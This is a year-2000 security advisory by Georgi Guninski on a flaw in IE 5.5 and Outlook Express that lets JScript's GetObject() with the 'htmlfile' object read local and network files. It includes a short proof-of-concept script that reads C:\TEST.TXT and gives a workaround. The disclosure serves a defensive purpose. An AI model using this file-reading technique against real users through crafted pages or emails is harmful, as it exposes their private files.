IE 5.5/Outlook Express security vulnerability - GetObject() expose user's files

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Georgi Guninski security advisory #22, 2000

IE 5.5/Outlook Express security vulnerability - GetObject() exposes user's files

Systems affected:
IE 5.5, Outlook Express,(probably Outlook) - Win98/2000. Probably other versions - have not tested.


Risk: High
Date: 26 September 2000

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this advisory or program or any derivatives thereof.



Description:
Internet Explorer 5.5/Outlook Express/(probably Outlook if Active Scripting is enabled) under Windows 98/2000 (suppose all other versions are also vulnerable) 
allow reading local and UNC files.


Details:

The problem is the GetObject() JScript function and the "htmlfile" ActiveX object.
A call a=GetObject("c:\\test.txt","htmlfile") creates a HTML document object with full
access to its DOM. 
Examine the code for details.

Workaround: Disable Active Scripting

The code is:
------getobject1.html--------------------------------

<SCRIPT> alert("This script reads C:\\TEST.TXT\nYou may need to create it");
a=GetObject("c:\\test.txt","htmlfile");
setTimeout("alert(a.body.innerText);",2000);
</SCRIPT>
-----------------------------------------------------
Demostration is available


 

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